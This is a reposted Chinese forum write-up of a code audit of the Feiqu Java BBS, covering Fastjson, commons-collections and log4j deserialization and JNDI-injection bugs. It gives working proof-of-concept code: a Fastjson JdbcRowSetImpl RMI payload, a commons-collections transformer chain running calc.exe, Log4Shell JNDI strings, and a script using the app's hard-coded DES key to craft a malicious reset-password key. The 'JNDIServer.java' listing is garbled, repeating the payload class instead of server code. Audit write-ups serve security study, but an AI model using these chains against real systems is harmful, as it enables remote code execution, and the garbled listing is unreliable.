安全矩阵

 找回密码
 立即注册
搜索
查看: 2431|回复: 0

飞趣开源BBS代码审计-JAVA

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-4-9 09:26:15 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-4-9 09:27 编辑

飞趣开源BBS代码审计-JAVA
阿巴阿巴   衡阳信安
2022-04-09 00:00

转载自[url=(https://xz.aliyun.com/t/11137#toc-6)](https://xz.aliyun.com/t/11137#toc-6)[/url]

环境部署
飞趣 BBS 在 gitee 可以下载到源码,它是由 SpringBoot 搭建,根据 README.md 搭建到 IDEA 即可

目录结构
很奇怪的布局,大概看了一下只有 feiqu-front 存在控制器,其他目录都是一些辅助性的东西


第三方组件漏洞审计
fastjson:1.2.28
该版本存在反序列化漏洞,可以使用 FastJson1.2.47 通杀 Payload,在项目中创建三个文件验证是否能够利用


JNDIPayload.java
  1. import java.io.IOException;

  2. public class JNDIPayload {
  3.     static {
  4.         try {
  5.             Runtime.getRuntime().exec("calc.exe");
  6.         } catch (IOException e) {
  7.         }
  8.     }
  9. }
复制代码

JNDIServer.java
  1. import java.io.IOException;

  2. public class JNDIPayload {
  3.     static {
  4.         try {
  5.             Runtime.getRuntime().exec("calc.exe");
  6.         } catch (IOException e) {
  7.         }
  8.     }
  9. }import java.io.IOException;

  10. public class JNDIPayload {
  11.     static {
  12.         try {
  13.             Runtime.getRuntime().exec("calc.exe");
  14.         } catch (IOException e) {
  15.         }
  16.     }
  17. }import java.io.IOException;

  18. public class JNDIPayload {
  19.     static {
  20.         try {
  21.             Runtime.getRuntime().exec("calc.exe");
  22.         } catch (IOException e) {
  23.         }
  24.     }
  25. }
复制代码

JNDIClient.java
  1. import com.alibaba.fastjson.JSON;

  2. public class JNDIClient {
  3.     public static void main(String[] args){

  4.         String text =
  5.                 "{\n" +
  6.                 "    "a": {\n" +
  7.                 "        "@type": "java.lang.Class", \n" +
  8.                 "        "val": "com.sun.rowset.JdbcRowSetImpl"\n" +
  9.                 "    }, \n" +
  10.                 "    "b": {\n" +
  11.                 "        "@type": "com.sun.rowset.JdbcRowSetImpl", \n" +
  12.                 "        "dataSourceName": "rmi://127.0.0.1:1099/Exploit", \n" +
  13.                 "        "autoCommit": true\n" +
  14.                 "    }\n" +
  15.                 "}";

  16.         JSON.parseObject(text);
  17.     }
  18. }
复制代码
开启 python http 服务让 JNDIServer 可以访问到 JNDIPayload.class,然后启动 JNDIServer,最后运行 JNDIClient,成功触发了 FastJson 反序列化漏洞




那么接下来要寻找参数可控的 JSON.parseObject 或 JSON.parse

找到一处可能参数可控的位置,路由是 /u/{uid}/home ,开始调试,发现没有执行到 JSON.parseObject 因为 redisString.get() 返回的
数据为 null ,CommonConstant.THOUGHT_TOP_LIST 为 thought_top_list 也就是 redis 的 key,看一下 redis 在哪设置这个 key 的.



有 redisString.get() 那么就有 redisString.set(),找到了,可以看到置顶的 "想法" 会被设置到 redis thought_top_list 的值


置顶一条 "想法",再次访问 /u/3/home,在源码中写多了一行 String test = redisString.get(); 方便查看从 redis 获取的数据,
可以看到值虽然获取到了,但是不可控,那么 fastjosn 无法利用



JAVA反序列化漏洞
commons-collections-3.2.1.jar 反序列化漏洞,很经典了,还有其他组件也存在漏洞,这里就列举这一个吧,老规矩在项目中验证一下
没问题可以使用




CcSerial.java
  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  6. import org.apache.commons.collections.map.LazyMap;

  7. import java.io.*;
  8. import java.lang.reflect.Field;
  9. import java.util.HashMap;
  10. import java.util.Map;

  11. public class CcSerial {
  12.     public static void main(String[] args) throws Exception{
  13.         Transformer[] fakeTransformers = new Transformer[] {new
  14.                 ConstantTransformer(1)};

  15.         Transformer[] transformers = new Transformer[] {
  16.                 new ConstantTransformer(Runtime.class),
  17.                 new InvokerTransformer("getMethod", new Class[] { String.class,
  18.                         Class[].class }, new
  19.                         Object[] { "getRuntime",
  20.                         new Class[0] }),
  21.                 new InvokerTransformer("invoke", new Class[] { Object.class,
  22.                         Object[].class }, new
  23.                         Object[] { null, new Object[0] }),
  24.                 new InvokerTransformer("exec", new Class[] { String.class },
  25.                         new String[] { "calc.exe" }),
  26.         };

  27.         ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

  28.         Map innerMap = new HashMap();
  29.         Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

  30.         TiedMapEntry mapEntry = new TiedMapEntry(outerMap, null);

  31.         Map expMap = new HashMap();
  32.         expMap.put(mapEntry, null);

  33.         setFieldValue(chainedTransformer, "iTransformers", transformers);

  34.         innerMap.clear();

  35.         ByteArrayOutputStream barr = new ByteArrayOutputStream();
  36.         ObjectOutputStream out = new ObjectOutputStream(barr);
  37.         out.writeObject(expMap);
  38.         out.close();

  39.         ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
  40.         in.readObject();
  41.         in.close();

  42.     }

  43.     private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
  44.         Field f = obj.getClass().getDeclaredField(field);
  45.         f.setAccessible(true);
  46.         f.set(obj, arg);
  47.     }
  48. }
复制代码
寻找反序列化利用点,查找 readObject,可以看到只有一处,并且没有调用该方法的地方,这次又是无功而返




log4j-core-2.11.2
  1. import org.apache.logging.log4j.LogManager;
  2. import org.apache.logging.log4j.Logger;

  3. public class Log4j {
  4.     public static void main(String[] args) {
  5.         Logger logger = LogManager.getLogger(Log4j.class);
  6.         logger.error("${jndi:ldap://rzepki.dnslog.cn}");
  7.     }
  8. }
复制代码



寻找漏洞利用点,搜索有没有存在参数可控的 logger.error,在 com\feiqu\web\controller\UserController.java 找到一处,可以看到拼接了 username


分析一下 UserController.java#resetPass,首先 key、password、verifyCode 是必不可少的,我们传入的 key 会被 [1] 进行解密,然后在 [2] 给 username 赋值

secret 为 cwd22,在创建 DESUtils 时作为构造方法的参数,decryptString 会对传入的 key 做 base64 解码,然后 DES 解密





我们使用 encryptString 方法加密 log4j 的 Exp 就可以了,在本地开启 JNDI 注入工具 JNDI-Injection-Exploit


以下脚本用于生成恶意 key
  1. public static void main(String[] args) throws Exception {
  2.         Key key = null;
  3.         // 指定DES加密解密所用的密钥
  4.         String keyStr = "cwd22";
  5.         String desKey = Base64.encode(keyStr.getBytes("UTF-8"));
  6.         DESKeySpec objDesKeySpec = new DESKeySpec(desKey.getBytes("UTF-8"));
  7.         SecretKeyFactory objKeyFactory = SecretKeyFactory.getInstance("DES");
  8.         key = objKeyFactory.generateSecret(objDesKeySpec);


  9.         String str = "${jndi:ldap://127.0.0.1:1389/riv58u}";

  10.         // 对字符串进行DES加密,返回BASE64编码的加密字符串
  11.         byte[] bytes = str.getBytes();
  12.         Cipher cipher = Cipher.getInstance("DES");
  13.         cipher.init(Cipher.ENCRYPT_MODE, key);
  14.         byte[] encryptStrBytes = cipher.doFinal(bytes);
  15.         String s = Base64.encode(encryptStrBytes);
  16.         System.out.println(s);
  17.     }
复制代码

构造好各个参数提交请求成功弹出计算器


调试一下,可以看到因为找不到 userInfo[1] 而报错


结语
可谓是一波三折,本人学艺不精,如果有其他利用点还请师傅们指教

来源:先知(https://xz.aliyun.com/t/11137#toc-6)
注:如有侵权请联系删除





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:44 , Processed in 0.013585 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表